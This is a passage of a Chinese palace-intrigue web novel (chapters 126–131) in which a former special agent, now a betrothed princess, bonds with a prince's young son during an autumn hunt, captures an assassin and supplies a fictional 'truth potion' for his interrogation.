《毁容沉塘后,特工王妃送全家火葬场!》 第126章 为值得的人打破原则 营地里。 苏苡安已经连赢了魏合敬七局。 小老头的脸色慢慢挂不住了,气得胸闷气短,当场发病,翻了白眼。 还好,皇上知道他是什么德行,从小就输不起,早就派了太医,就候在他的身后。 太医见丞相大人老毛病犯了,立马给他掐人中。 苏苡安静静地坐在对面,不露声色地打量着这小老头。 他是皇上的伴读,年纪应该和皇上差不多,但是,他的头发都花白了,脸上褶子也很多,看起来,像比皇上老了十岁还不止。 皇上还是个雄赳赳气昂昂的帅气大叔,而他,正儿八经的小老头了。 面白唇紫,一副忧思过甚,气血不足的样子。 他怕不是输不起,而是心脏不太好,受不住刺激。 苏苡安可不想沾上人命,红唇轻启, “丞相大人,今天就到这里吧,改日,我登门拜访,再领教您的高招。” 魏合敬眼皮子往上撩起,心有不甘, “啊……这……” 彼时,小老头内心无比纠结,既想赢了这后生,把自己的面子找回来,又不想让身为未来镇北王妃的她,踏足他的丞相府。 进退维谷,着实要为难死了。 苏苡安被他这左右为难的表情逗笑了, “丞相大人来我的府上也成,我是无比期待丞相大人想出破解之法,咱们共同精进棋艺呢。” 魏合敬是辅佐皇上夺嫡的能臣,他是个圆滑的老头子,顷刻之后就做了个违背自己原则的决定: “好,那老夫就恭候郡主大驾光临寒舍。” 这还是魏合敬这辈子,头一次邀请小辈到他府上做客。 在他看来,为值得的人打破原则,是可行的。 就如同他当年为了助力皇上登基,连自家的祠堂都烧了,陷害那时候的对家一样…… 这一幕,被皇后身边的宫女看得真真切切,一转头,就去给她的主子汇报去了。 皇后气得怒目咬牙: 镇北王不善交际,一直和文臣搭不上关系,想不到,他竟然能想到让他的女人出马。 忠勇侯府唯一在世的血脉,文官清流的苏大学士府嫡女,在武将文官里都吃得开的身份,加上她装疯卖傻的不要脸作风,哪个府门叩不开? 镇北王真是好算计,好深的城府! 苏苡安再次抱起萧晏,坐上了他的专属小马鞍, “走,咱们捉山鸡去。” 答应孩子的这点小事,总是要做到的,毕竟,以后她还不知道有多少承诺做不到的呢。 毕竟,她最擅长打嘴炮和骗人,连小孩都骗。 骗人这种事,在她看来,和吃饭睡觉一样寻常,现在能兑现一件算一件。 高升带着十几个护卫,策马紧随其后。 苏苡安春猎的时候来过猎场,对哪里有山鸡出没,她门清。 先撒下一把谷子,再在周围下几个绳套,就等着山鸡自己往里钻,明日再来收就好了。 萧晏看着西沉的落日, “美女大人,咱们能在山里过夜吗?” 萧晏有点担忧,他怕回了营地,自己还要跟皇爷爷睡一个帐篷。 皇爷爷打呼噜的声音实在太大了,简直跟打雷一样。 以至于他一晚上都没睡着,还要乖乖装睡。 生怕惹皇爷爷不开心,抱不上大腿,娘亲会失望…… “能啊,怎么不能?” 对于孩子的小心愿,苏苡安一律满足, “这山里,有的是山洞,随便找一个,里面都有火折子干粮还有水,简直太适合野外过夜了。” 一行人,毫不费力地就找到了一个山洞。 高升攒起来一堆篝火,就要退出去,被苏苡安叫住了, “秋夜山风大,把兄弟们都叫进来吧。” 高升骇然: 一群糙老爷们和郡主一个山洞过夜,这成何体统? 可是,郡主的性格洒脱不羁,他不好明说,便托词道, “郡主,我们当年在北疆的时候,雪地里也是睡过的,如今不过是吹点小山风,不打紧的。” 苏苡安笑道, “什么不打紧?过去是过去,现在是现在。 从前,你们都是镇北王的将士,现在,你们可都是我的患者,我的护卫,得听我的医嘱和命令,快点执行,别废话。” 高升心里暖暖的,郡主这也太会说话了,太体恤下属了。 以后,王爷身边有这样贴心又知冷知热的人照顾,真是有福气了。 高升一抱拳,“谨遵您的医嘱和命令。” 高升去山洞外,把吹凉风的护卫们都招呼了进来。 苏苡安是个爱聊天的,围着篝火听他们讲北疆的征战往事。 萧晏记忆力超好的,这些人说起那些战役,他都能插上话,且逻辑清晰,思维敏捷,一副小大人的口吻。 只是,每次发言,都是回忆二叔叔在那次战役里哪里受了伤,几天才好。 对他的父王,只字不提。 这也不怪他,因为,父王一直疏远他,父王的情况,他真心不知道。 热聊到半夜,萧晏终于困倦得哈欠连连,苏苡安才示意众人散场。 护卫们自觉退到靠近山洞口的位置,把里面的一大片地方,留给了两位主子。 苏苡安看着跳动的篝火,也禁不住打了一个哈欠,不多时,就陷入了梦中。 今夜,她终于没有梦见自己在草垛子上生孩子了。 她梦见她的孩子生出来了,是个虎头虎脑的男婴,戴着虎头帽,穿着虎头鞋。 即便没人告诉她,她也知道那男婴就是晏儿。 即便梦里的晏儿再可爱,对苏苡安来说,那也是噩梦。 她倏地从梦魇中睁眼,看着怀里沉睡的萧晏,惊惧地大口喘息。 她心中安慰着自己: 大概,是先前听乌二说萧晏被送来的时候,戴着虎头帽,穿着虎头鞋,自己才会做那样的梦吧。 毕竟,此情此景,梦到萧晏很正常。 看来,得吃点药压制一下自己的梦魇了,要不然,夜夜惊梦,这样下去,会影响健康的。 翌日清晨。 第一声鸟鸣传入洞中,萧晏就醒了,看他自己还睡在娘亲的怀里,小嘴一扬,又继续睡。 并且,暗暗打定主意,要夜夜赖在山里,不回营地里,这样,就可以一边听着故事一边和娘亲一起睡了。 虽然,这些护卫打呼噜的声音,比皇爷爷响得多,但是,为了和娘亲在一起,他都可以忍。 第127章 不给男人花钱,是我做人的底线 昨日在山上布下的绳套,捉住了不少山鸡,此刻,漫山遍野都是咯咯哒的叫声。 侍卫们四散分开,收取胜利的果实。 苏苡安手把手地教萧晏绑山鸡, “这样绑着,不会伤到山鸡,山鸡还不会乱动,带多远都可以。” 萧晏眼中闪烁着小星星, “那咱们可以带两只,回家养吗?养成庄子上那种好吃的山鸡。” 苏苡安眯起眼睛慈爱地看着他,笑道,“自然可以啊,只是,咱家那么大,你可以多养几只。” 萧晏想了想,又问道,“那咱们就多养几只,养十只公的,十只母的,好不好?” 高升在庄子上待过,他是真的会养鸡,就说道, “公鸡不用养那么多,又不下蛋,浪费饲料,养一只就够抱窝了。” 苏苡安虽然不懂养鸡,但是,她莫名觉得,只养一只公鸡的话,那它也未免太辛苦了, “不不不,就养十只公的十只母的吧,不用给我省饲料钱,我有的是钱。” 苏苡安说着话呢,只觉得耳后生风,她本能反应地抬起右臂一挡。 “哐!” 一声金属碰撞的声音。 是一支暗箭,撞到了她袖中的短刃。 高升立即拔剑起身,大吼一声:“有刺客!保护郡主和公子!” 话音未落,正在四处收山鸡的护卫们已经纷纷跨上了马,追了出去。 “真有意思~” 苏苡安嘀咕一句,抱起萧晏就飞身上马,语气略显兴奋, “晏儿,咱们今日的武术课,是抓刺客,你看好了!” “好诶!”萧晏也很兴奋。 乌雅良驹一声嘶鸣,很快就跑到了最前头。 高升都要吓死了: 王爷不是说郡主没有实战经验吗?那刺客敢来皇家猎场行刺,绝非等闲之辈,万一郡主有闪失…… 呸!郡主决不会有闪失! 高升抡圆了马鞭子在后面追,只见郡主拉弓搭箭,前方刺客旋即坠落马下。 刺客见身后一群追兵,自己逃跑无望了,眸光一冷,从腰间拿出一颗毒药,准备自尽。 彼时,苏苡安已经策马到了近前,一个飞扑,再加一个迅雷不及掩耳的大巴掌扇过去,打掉了刺客手中的毒药,紧接着,又是一拳送到了刺客的脑袋瓜上,将人打晕。 动作一气呵成,发生在电光石火之间,堪称快准狠。 萧晏都看傻了,知道娘亲厉害,却不曾想,她这么厉害。 那一套行云流水的动作,绝对不亚于他见到过的任何一位将军。 萧晏愣了好一会儿,嘴角才牵出笑容: 太好了,终于不用担心娘亲会被父王杀掉了…… 彼时,高升一干人等才到达近前。 苏苡安已经捆好了昏厥的刺客,并且,拿下了他的遮面黑巾, “你们可曾见过此人?” 现场之人皆摇头。 苏苡安又把黑巾塞到了刺客的嘴里,有条不紊地发号施令, “带他回山洞,再去找王爷过来,不要惊动旁人。” 高升依旧被震惊得合不拢嘴: 杀伐果断,临危不乱,此乃大将之风啊。 难怪听说两个人在一起久了会越来越像,她真是学到了王爷的精髓,不愧是我们王爷相中的女人。 一群人在返回昨夜那个山洞的路上,就遇见了一人一骑的镇北王。 昨日,他带着萧佩玖打完兔子回到营地,天黑了还不见苏苡安回去,就连夜出来找了,这会儿,正巧遇见。 山洞里,苏苡安给刺客拔箭,包扎伤口,忙活了好一会儿,终于展露了笑颜,看向萧北铭, “我的运气也太好了,这几天一直在想,要是遇见刺客就好了,肯定抓个活的送给你,真是想什么来什么。” 萧北铭黑沉着脸,“好什么好?你想让我担心死吗?” 苏苡安笑得戏谑,“怎么,担心我抓不到活的?放心,这个包活的。” 萧北铭懒得搭理她故意曲解他语意的话,转头点了两个人,让他们给这刺客换上侍卫的衣裳,他要秘密把人带回镇北王府。 苏苡安一听秘密两个字,就来了兴趣, “这么个大活人,怎么秘密带回去啊,不如就在这里拷问了。” 萧北铭回道,“我知道一条出猎场的小路,是我小时候乱跑的时候发现的,只有我和乌二知道。” 不多时,乌二也带着人马赶过来了,一行人夹带着刺客,往那条密道走去。 苏苡安目送乌二一行人远去,又看向萧北铭, “你也别闲着,去林子的深处猎点猛兽回来,争个彩头。” 萧北铭认真道,“一起。” 苏苡安直摇头,“不不不,我遇见了刺客,受到了惊吓,我得回营地安歇。” 萧北铭无奈到失语,幽怨的眼神看着她。 苏苡安义正辞严, “你别瞅我了,怎么瞅我都不可能变成彩头。 猎个猛兽就能赚一百两金子,这种好事儿可不多,你还在犹豫什么? 都穷成这样了,还不努力赚钱,将来拿什么养活媳妇和儿子? 指望我倒贴吗?我告诉你,我可倒贴不了一个子儿啊。 不给男人花钱,是我做人的底线。” 萧北铭觉得这话好新鲜,从来不知道作为皇子和王爷,还需要自己赚钱养家。月例都是从内务府出,数目还不少,根本不用愁吃喝。 不过,转念又一想,她求个平安符,一撒手就是数万两,确实不是月例银子养得起的…… 萧北铭伸手刮了一下她的鼻尖, “放心,我不会花你的钱,也饿不着你。 好生回营地休息,别乱跑,乖乖等我回来,不要让我担心。” “嗯!” 苏苡安打发走了萧北铭,她自己却没有回营地,而是带着萧晏把猎场玩了个通透。 裴思远童年里的乐趣,她都学了一遍。 爬树掏鸟窝,摘野果,收集漂亮的树叶子,草虫里捉蛐蛐,挖蚯蚓…… 虽然她没有童年,但是,照着裴思远这个古代贵公子抄作业,定是没错的。 晏儿缺失的童年乐趣,她都要给他补上。 这个过程,可给高升一众侍卫紧张坏了,警戒程度拉满,生怕再有暗箭射过来。 有个风吹草动,他们一个个就如同惊弓之鸟,比当年在战场上还紧张。 直到萧晏玩得灰头土脸,衣裳都刮破了好多处,苏苡安觉得有必要带他回营地收拾干净,才下令返程。 那些侍卫,终于松了一口气: 正常人,哪里有刚刚遇刺还敢这么任性玩乐的,这根本不是胆识的问题,这是长没长心的问题吧…… 第128章 菜就多练练 营帐内。 苏苡安带着萧晏排排坐,做手工。 小团子兴致勃勃地把收集来的各色树叶子,在纸上拼成了各种图案,再用浆糊粘好。 不多时,已经做了好几幅树叶画了。 “娘亲,我想做一只小老虎,可是,老虎的花纹要怎么做?” 苏苡安勾唇一笑,捏了捏他的小脸蛋, “不许叫娘亲。” 萧晏瞪着澄澈的大眼睛,不解地看着她,难得地反驳她, “可是,你就是我娘亲啊,这里也没有外人,你为何不承认?” 苏苡安黛眉一挑, “这是承认不承认的问题吗?你这是捏造事实啊! 你不是我生的,我也没兴趣给别人当后娘,就算以后我跟你父王成了婚,你也不用叫我娘亲,咱们做朋友就好。” 萧晏噘嘴,“你若不是我娘亲,为何咱们都有小酒窝?” 苏苡安笑得不行, “你这小脑袋瓜是咋想的啊?有酒窝的人可多了去了,皇后身边的嬷嬷还有酒窝呢,你怎么不说她是你娘?” 萧晏撇撇嘴,自有他的逻辑, “那嬷嬷太老了,年龄对不上,而且,长得那么难看,不可能生出我这么好看的儿子。我觉得,是你记性不好,生了我以后,把我给忘了。” “我记性不好?”苏苡安一脸傲娇,“本人天纵奇才,人中翘楚,过目不忘!我说我健忘,那不过是用来骗别人的说辞,你怎么还信了?” 萧晏失望地叹了一口气: “我虽然不是你亲生的,但是,我就不能是你亲儿子吗?” 苏苡安捻起兰花指,轻轻弹了一下他的额头, “你可真是个逻辑鬼才。 喜欢给别人当爹的人我见过不少,喜欢给别人当儿子的,我还是头一次见。 你若是实在想跟我攀关系,可以叫我爹。” 萧晏眼神里的嫌弃都藏不住了,在他的眼里,爹可不是个什么好东西, “我才不叫呢。” 苏苡安读懂了她的眼神,抬手摩挲了他圆润的后脑勺, “你爹从前对你不好,他有他的苦衷,他中热毒了嘛。 那毒可厉害了,就是会让人性情变得暴躁易怒,他控制不了的。 以后啊,你爹会对你好的。” 萧晏不悦,“我才不稀罕他对我好呢,你对我好就行。” 苏苡安敛了笑容,郑重道, “可是,你是他的儿子,很多大事,我说不上话啊。 你做儿子的,就要有做儿子的觉悟,不能跟做老子的对着干,要不然,没有你的好下场的。 以后,你不管是用装的,还是用骗的,都必须要讨好你老子,知道吗?” 萧晏很有眼色地看了看她认真的神情,不再反驳,重重地点点头。 苏苡安语重心长道, “你得感谢你爹,把你生得那么像他,你长大一些就会明白,有一张好看的脸多么重要。” 萧晏嘟起了小嘴,说他像爹,他更不开心了。 苏苡安刮了一下他撅得老高的小嘴,嗔怪道, “都可以挂油瓶了,还跟我甩上脸子了,你叛逆期到了是不是?我的特长可是专治各种不服,你要不要试试看?” 萧晏连忙抿唇,把嘴抿成了一条直线,表示服气。 苏苡安笑道,“好了,现在,咱们一起给你父王做一个树叶画,你是小老虎,你父王嘛,就是个大老虎。” “那你呢?” “嘿嘿,我永远都是大美女。” “安康姐姐~” 萧佩玖人还没进帐篷,声音先进来了。 萧晏暗自叹了一口气: 怎么又是她啊?又来粘着我娘亲,她没有自己的娘亲吗? 萧佩玖来打听镇北王什么时候回来,她还想再打一只兔子。 苏苡安笑笑,“他怕是要猎到个大家伙,才能回营地。” 萧佩玖满脸失望: “那不是要等很久?说不定,要结束之日才能回来……” 倏尔,她的目光瞥到了笔筒里插着的野鸡翎,兴奋得眼瞳一闪, “诶?安康姐姐,这是你打的野鸡吗?你带我去打野鸡,好不好?” 苏苡安还未回话,萧晏就哀叹一声,往她的怀里靠, “我头疼……” 苏苡安抬手给萧晏按了按小脑袋瓜,抬眸对萧佩玖说, “我都拉不开弓,打什么野鸡啊?这是我护卫打的,要不然,让他们带你去吧?” 萧佩玖比较能认清自己有几斤几两,想了想说道, “算了,一般人带不了我,我还是等二皇兄回来再说吧。” 不过,萧佩玖也没有走的意思,就在这里有一搭无一搭地聊天。 萧晏一会儿头疼,一会儿肚子疼,一会儿脚疼,萧佩玖都没有走的意思,她一点都没看出来孩子是在撵人。 萧晏见自己撵不走她,真真是有点头疼了: 怎么会有这么笨的人啊,连暗示都看不懂…… 萧佩玖在宫里长大,倒也不至于笨到没心机的地步。 只不过,她是想不到一个四岁的孩子都会跟她耍心机了,真心以为孩子不舒服,提出要给孩子请太医。 苏苡安当然知道萧晏在搞什么,状似不以为意道,“不用,男娃娃,粗糙点养就行。” 萧佩玖蹙眉,满脸严肃, “你可别啊,孩子头疼脑热,可不是小事。 你不是晏儿的亲娘,更得注意,一旦这孩子有点大病小情,吐沫星子都得淹死你。 我小时候有个头疼脑热,我母妃都是衣不解带,一宿一宿不睡觉照顾我。 即便这样,还被有心人背后嚼舌根,说我不是她亲生的,她养得不尽心呢。 这事情,可马虎不得。” 萧佩玖亲自跑了一趟,给请来了太医。 太医虽然没瞧出来萧晏有什么病,但是还是给孩子开了一副健胃消食的汤药。 汤药端过来,萧佩玖还很关切地亲自喂他。 萧晏闹了一会儿,实在推脱不得,只能委屈巴巴地咽下了一碗苦药…… 人没撵走,还把自己装进去了,挫败感让萧晏蔫头耷脑了许久…… 苏苡安事后戏谑地教育他: “你干小坏事太菜了,菜就多练练,谁也不是一出生就会干坏事嘛~” 一场为期半月的秋猎即将收尾,众人陆陆续续地回来了。 太子萧景泰带着东宫的一行护卫,猎得了一只吊睛白额虎。 马屁精们开始了花式夸赞。 第129章 拍个大的 萧佩玖进来苏苡安的帐子报消息, “安康姐姐,你不出去看看吗?太子哥哥猎了好大一只老虎啊,有一个我这么大。” 苏苡安丝毫不以为意,“不稀罕,镇北王肯定会超过他。” 萧佩玖虽然也很希望镇北王能碾压太子,但是,万兽之王都被太子抓住了,他如何超越啊? 到了秋狩的最后一日,皇上都回来了,镇北王还没有回营。 不惑之年的南离皇萧昀,英武丝毫不输二十几岁的壮小伙,他猎回来一头超过八尺的人熊! 每年春猎秋狩,熊虎的彩头之争都很激烈。 今年春猎的时候,镇北王带回来一只活的半大老虎崽,夺了彩头。 太子眼红得厉害,东宫的人为了拍马屁,一个夏天都在为秋狩做准备,特意养了一只老虎,就等着秋狩之时喂到太子的箭上。 而今,太子成功猎了老虎,志得意满,以为这次的彩头非他莫属了,他终于压住镇北王一头了。 不曾想,父皇猎了一头熊回来,他总不能跟父皇争,不过,输给父皇,不是什么丢脸的事情。 只要能赢了镇北王就好! 只是,这两天听下面的人给他拍马屁,现在眼看稳稳的彩头没有了,心中的失落,在所难免…… 苏苡安等不到萧北铭回营,有些等不住了,叫高升去迎一迎。 高升犯难了,不去吧,就是抗命,去吧,王爷说要寸步不离守护安康郡主,也是抗命。 苏苡安看透了他的心思, “我亲自去迎。” 苏苡安带着萧晏,加上一众侍卫,策马去猎场寻找萧北铭。 骑了一个时辰,就看见萧北铭一行人马回来了,还带着他的猎物: 一只活着的白鹿。 白鹿代表长寿和祥瑞,既不可遇,更不可求。 而今,萧北铭竟然能带回一只活的白鹿,可见他是极有气运之人。 萧晏耳畔响起了娘亲这几日对他的教诲,看着萧北铭笑颜逐开,大老远就喊上了, “哇!父王好厉害!捉的鹿好漂亮啊!” 萧北铭完全没有理会萧晏,他深邃的眸子满是幽怨地看向苏苡安, “不是让你乖乖在营地待着嘛!” 苏苡安挑唇一笑,双眸盈盈,夹着嗓子学着萧晏的语气, “哇,镇北王好厉害,捉的鹿好漂亮啊~” 她只需要略微手段,萧北铭心里那点埋怨,就烟消云散了。 罢了,大概也没有刺客能近得了她的身…… 镇北王一行回到营地,太子一打眼就看到了笼子里那头活蹦乱跳的白鹿。 他心中骤然一凉: 不可能啊,这不可能啊!白鹿近乎是传说中的瑞兽,怎么可能被他遇见?还是活捉…… 萧北铭虽然不接受自己儿子的马屁,但是,他却以儿子的身份,跪地抱拳,对他的父皇拍了个大的, “明君有道,天降白鹿祥瑞于南离,父皇万岁万岁万万岁!” 萧昀开心到失去帝王的仪态,笑得嘴角咧到了耳根子,走过去双手把萧北铭搀扶了起来, “好啊!好啊!夏公公,把朕的强弓拿来,赏赐给镇北王!” 这可是从先帝那里传下来的猎弓,是今上在做皇子的时候,他在猎场上得了彩头,先帝赏赐他的。 这下,东宫一党的人脸都黑了。 太子看向他的母后,除了不高兴,眼里还带着一丝惶恐不安。 人前一向稳重的皇后,此刻也难以保持中宫的庄严和体面,竟然觉得有些站不稳了,身边的嬷嬷扶了她一把,她才勉力站稳: 她的儿子,从一出生就是太子,到今天,已经做了二十六年太子,看似无上荣光,实际上每日都惴惴不安,如履薄冰。 毕竟,南离开国至今,历经十六帝,有一半皇上,都不是太子登基…… 又争又抢,是南离萧氏皇族的传统。 包括今上,他就是夺嫡上位的。 就皇上现在的身体状况和精神头,再过二十年,太子都未必能熬出头。 更何况,还有虎视眈眈,从来也不掩饰自己争抢之心的镇北王。 以及躲在华贵妃身后,看两虎相斗,城府深重的宁王…… 她儿子太子这个位置,实在坐得不安生…… 彼时,宁王脸上挂着笑,看着东宫的人装都不装了,脸上的笑容,又真切了几分: 打起来啊,你们快点打起来啊。 不管你们谁弄死谁,得利的都是我! 同时,宁王的心里,又满是鄙夷: 镇北王都回上京这么久了,不仅毫发无伤,还添人进口了,东宫到底在搞什么啊? 整日看他们在忙,却又没忙出个啥玩意…… 面对此情此景,苏苡安蹲在地上,附唇于萧晏的耳畔, “学着点,看看你父王多会拍马屁。” 萧北铭耳廓微动,心下了然: 难怪那小东西刚刚对我那么热情,原来是她教的…… 可惜他的骨子里有一半北幽人的血,国仇家恨,我是不会买账的! 此次秋狩的彩头,一百两黄金,毫无意外地又是镇北王的了。 颁赏之后,一直沉默的宁王恰合时宜地站出来说话, “二皇兄威武啊,你在北疆的时候,这春猎秋狩的彩头,还能轮一轮,现在有你在了,都被你包圆了,我也只能看一看了。” 宁王的语气拿捏得恰到好处,说是拈酸吃醋可行,说他是夸赞二皇兄亦可,总归是无伤大雅。 ‘北疆’二字涌入了太子的耳廓,他想也没想,就语含讥诮地说道, “等镇北王大婚之后,父皇肯定是要他回北疆的,你还愁这彩头轮不到你吗?” 萧昀立即肃面扫过去一个意味不明的眼神。 太子心中一凛,立即低下了头。 他这才意识到,自己刚刚嫉妒心翻飞,再被宁王一引导,说错话了。 镇北王回不回北疆,那是国事,是父皇才能决定的国事,他这样当众揣测圣意,僭越了…… 皇后气得额角直跳: 太子那个不争气的东西!竟然如此禁不住挑唆! 圣驾回銮,一路车马浩浩荡荡。 皇上心情大好,传召了萧北铭去他的龙辇同乘。 天家父子,很少有聊家常的时候,但是,这一路上,萧昀都在跟萧北铭聊家常, “你给朕生的那个孙子,聪明又伶俐,朕很喜欢,等明年开春,就送他入宫读书吧,朕要给他找一个好先生。” 萧北铭没有喜悦,只觉得头疼: 那小东西这么快就抱住父皇的大腿了? 嫡子还没出生呢,父皇的宠爱就被他抢了,真是糟心啊! 第130章 好哄的炮仗 回到镇北王府,萧北铭依旧在郁闷之中。 匆匆沐浴更衣,头发还没干,就去往安康郡主府。 他觉得有必要好好跟她说道说道。 苏苡安正在书房挑选手钏的设计稿,见到萧北铭进来了,笑颜逐开, “来得正好,快过来帮我挑一挑。” 萧北铭走过去,绕到椅背后,躬身环住了她的脖颈,扫了一眼那些图纸, “都是你画的?” “是呢呗。” “都很好看,不用选了,找工匠都做出来,那一百两金子,足够用。” “才不要找工匠做呢,我要亲手做。” 萧北铭颇感意外,“你还会做这个?” 苏苡安甚为骄傲,“我什么不会啊?必须得选出来一个,因为吊坠只有一块。” 苏苡安给他指了指桌上的小盒子,里面躺着一个水滴状的浅绿色鹅卵石。 萧北铭记起来了,这是那小东西在河边,随手捡给她的。 一块破石头而已啊,要不要如此重视啊?亲娘都不至于此吧? 萧北铭心里不是滋味,意图阻止, “别人的手钏都镶嵌玛瑙玉髓,你要镶嵌一块石头,不怕被嘲笑吗?” 苏苡安清浅一笑,清丽的面庞溢满自信和从容, “谁若是嘲笑我穷,我就嘲笑他丑,反正,我的穷是假的,他长得丑是真的,看看最后受伤的是谁。” 跟她比长相的话,上京城无出其右。 她有这番机敏的心思和良好的心态,他真的一点都不用担心她出门会吃亏。 萧北铭不想扫兴,拿过图纸,逐一细看后,按照自己的审美给她选了一张, “就这个吧,剩下的图纸也别浪费了,我让乌二去找工匠给你做出来。” “多谢。” 萧北铭屏息,抿唇,怨艾幽深的目光看向她, “你什么时候都不用跟我说谢谢。” 苏苡安抿唇浅笑, “嗯。” 萧北铭松开她,拉了一把椅子在她的旁边坐下: “父皇说,要给小东西找个先生,来年开春,让他进宫读书。” “啊?能不能把这事儿推掉啊?”苏苡安可不觉得,皇上找的老学究会比她教得好。 学那些之乎者也,上战场能保命吗?能应对阴谋算计吗? 没准,晏儿还要挨先生的戒尺…… 萧北铭原本以为她会很高兴,没想到,她竟然想推掉,不管是何缘由,反正正中他下怀, “父皇金口玉言,此事不能推脱。你不能再教他那些讨好父皇的话了。 父皇对孙辈的宠爱,就那么多,给他一分,以后,给咱们孩子的,就少一分。” 苏苡安嬉笑道, “萧北铭,你没事儿吧?咱们的孩子连个影儿都没有,你就要计较起来了。 你放心,我的孩子,我自己会宠,用不着旁人代劳。 我现在教晏儿的,不过就是一些自保的本事,起码让他出门在外,不会受欺负,这也关乎镇北王府的脸面,不是吗? 你莫要太敏感了,怎么就上升到他和咱们的孩子抢宠爱的程度了?以后,我的钱只会留给我的亲生孩子,谁也抢不走。” 苏苡安的观念很简单: 成年人的世界,钱在哪里,爱就在哪里。 她无非就是教萧晏一点生存本领,算是举手之劳,瓜分不了谁的利益。 萧北铭双眸深沉地注视着她,语重心长道, “你糊涂啊,天潢贵胄,最不需要考虑的就是金钱,天子的宠爱,才是最重要的。” 苏苡安实在不想跟他掰扯这个各说各有理的话题,就算他掰扯赢了,她也不会改变自己的想法和行动,就问道, “你现在还有空跟我说这个,那刺客拷问得如何了?不把幕后主使揪出来,我都睡不好觉。” 萧北铭理亏,眉心皱了皱, “抱歉,还没审出来,他是个死士,想撬开他的嘴,不容易。不过,你到底惹上谁了?你是不是有事瞒着我?” “呵呵~” 苏苡安尬笑两声,就把敲诈那三个命妇的事情一五一十地说了, “十万两而已,总不至于为那点钱杀人灭口吧?” 萧北铭真真是恼火了, “你又背着我行事,还瞒了我这么些天!” 苏苡安不以为意, “都是小事嘛,总不能事无巨细都跟你交代。” 萧北铭看她这副轻飘飘的姿态,就觉得头疼, “你惹谁不好,去惹皇后?” 苏苡安讥诮道, “我惹不惹皇后,都惹过太子和太子妃了。 多这一次,少这一次,有区别吗? 小小招惹一下,赚了三十万两,这好事儿可不常有。” 萧北铭真心气坏了, “你就没想过,万一皇后豁出去,将此事闹到父皇跟前,父皇会怎么看你? 父皇最恨别人算计利用他!你想过后果没有? 父皇若是知道他怜惜的孩子如此有心机,连他都欺瞒算计,怕是会一气之下撤了咱们的赐婚。” 苏苡安完全没考虑过这个,她考虑的只有生死。 只要不危及她的身体健康,这笔钱,就可以赚。 如果她在意这一纸赐婚,那她当时可就要瞻前顾后,束手束脚,吃大亏了。 皇后和那三个命妇,就是在意的东西太多,顾忌的太多,才在这场博弈里输给了她。 只是,此时此刻,千万不能让萧北铭知道她根本不在乎这一纸赐婚,她只是想跟他谈恋爱,还馋他的身子…… “我当时被金钱冲昏了头脑,没想那么多嘛~” 苏苡安双手牵起了他的一只大手,左右晃了晃,拖着长音,撒娇哄道, “哎呀,你别生气嘛,人家下次不敢了。” 萧北铭见她这副嬉皮笑脸的样子,毫无悔过的诚意,怒目道, “你不敢?我看你敢得很!咱们大婚之前,你都不要独自出府了,去哪里都得让我陪着。” 萧北铭生怕她再搞出什么事情,把这桩婚事弄黄了,那时候,他可真是没地方哭了。 苏苡安点头如捣蒜, “好好好,我不出去,我现在就将功折罪,去配一剂药,撬开那刺客的嘴。” 萧北铭看她答应这么爽快,火气也就下去了,紧皱的眉头舒展开来。 苏苡安觉得,萧北铭现在就像是一个很好哄的炮仗,一点就着,一哄就好,以至于她有点想笑场。 苏苡安虽然不觉得自己有错,但是,她很想知道是谁想杀她。 第131章 真话药水 苏苡安拉起了萧北铭的手,来到了医药室,利索地抓了一副药,包成了好多小包, “一天灌一碗就行,最多用十天,再多就会疼死人。” 萧北铭垂眸盯着这些药,目光有点惆怅, “光是疼痛,不足以让一个死士开口。这些天,那些残酷的刑罚加身,他都没有开口。” 苏苡安自信地笑道, “这药可不光是带来肉体上的疼痛,还会让人神志模糊。 让人处于一种近乎灵魂出窍,意识游离的状态,问什么说什么,不知不觉就把心里那些小秘密交代了。 若是能抗过十天还不说的话,我觉得可以找个地方把他埋了,因为那样坚强的心智,神仙来了都问不出来。” 萧北铭讶异,“世间竟然还有这种好东西,叫什么?” 苏苡安挑眉, “遇见我之前,这世上肯定是没有这种好东西的啊,遇见我之后,就有了。 不如,就取个应景的名字,叫它真话药水吧。” 这真话药水是基地训练高阶特工用的,能带给人肉体和精神上的双重折磨,也是进阶S级特工的敲门砖。 苏苡安尝过这药水的滋味,现在回想一下,浑身的每一个毛孔都能张开。 那次进阶考核持续十日,每一天都疼得生不如死,好像浑身每一根神经,都在时时刻刻被刀子捅一样。 不过,当时浑浑噩噩如同身陷地狱的她,一个基地的秘密都没说出来,是基地连续五年唯一一个成功进阶S级的特工。 够她骄傲两辈子了。 慈事体大,萧北铭立即拿了药返回镇北王府,星夜拷问。 那刺客一开始还嘴硬,要杀要剐,他都不开口,灌了一碗真话药水,顷刻之后就精神萎靡了,都没能熬到天亮,就交代了个干干净净: 这次刺杀安康郡主之事,是皇后主使。 对于这个结果,萧北铭并不意外,只是,他不急于把这事情禀告父皇: 东宫一党根深蒂固,一个刺客的口供,不足以扳倒一国之母。 想报仇,必须要给他们致命一击,让东宫一党再无翻身之日! 只是现下,让萧北铭最想不明白的就是: 她为何会配制这么厉害的拷问用药。 需要这种东西的人群,太固定了,除了刑讯逼供,他想不到还有别的用处。 可是,她又一直对自己的过往保持缄默。 每每他旁敲侧击发问,她就顾左右而言他,真真是让他头痛又伤心。 我们都这么亲密了,她还有什么不能说的? 她名义上在道观的那十五载,究竟经历了什么啊…… 秋狩的时候分开好多个日夜了,萧北铭实在无法独自在镇北王府安眠,又星夜去往安康郡主府,悄无声息地摸到了她的卧榻之上。 三更半夜的,卧榻边多了一个人,她都没有醒,一点都不像练武之人该有的反应。 说好的刺客不招供,她睡不着觉呢? 骗子…… 萧北铭见她睡这么沉,就更疑惑了: 是在跟我装睡吗?难道她不好奇拷问的结果吗? 萧北铭把柔软的人儿揽入怀里,在她的额头上亲了一口。 对方的呼吸依旧四平八稳,心跳也没有加快,他这才确认,人家是真的睡着了。 她的心也太大了吧?若是睡在外面,半夜被人偷走了都不知道…… 萧北铭莫名生出了这种忧心,再次坚定了信念,以后,走到哪里都要带着她,即便是回北疆,也要带上她。 清晨,萧北铭亲了苏苡安好久,她才醒来。 萧北铭长长舒了一口气, “谢天谢地,你再不醒过来,我就要请大夫了,你怎么睡这么沉啊?” 苏苡安眯缝着困倦的睡眼,抬手抚上了他的脸颊,声音带着刚睡醒的哑, “这些日子在猎场没睡好觉,昨夜睡前喝了一碗安神汤。” “原来如此,虚惊一场。” 苏苡安打了个困倦的哈欠, “能不能麻烦你一件事啊?” “咱们之间还用客气,你说就好了。” “我还想再睡会,拜托你去督促晏儿练晨功,看看他的动作有什么不对的地方,指点一下。” 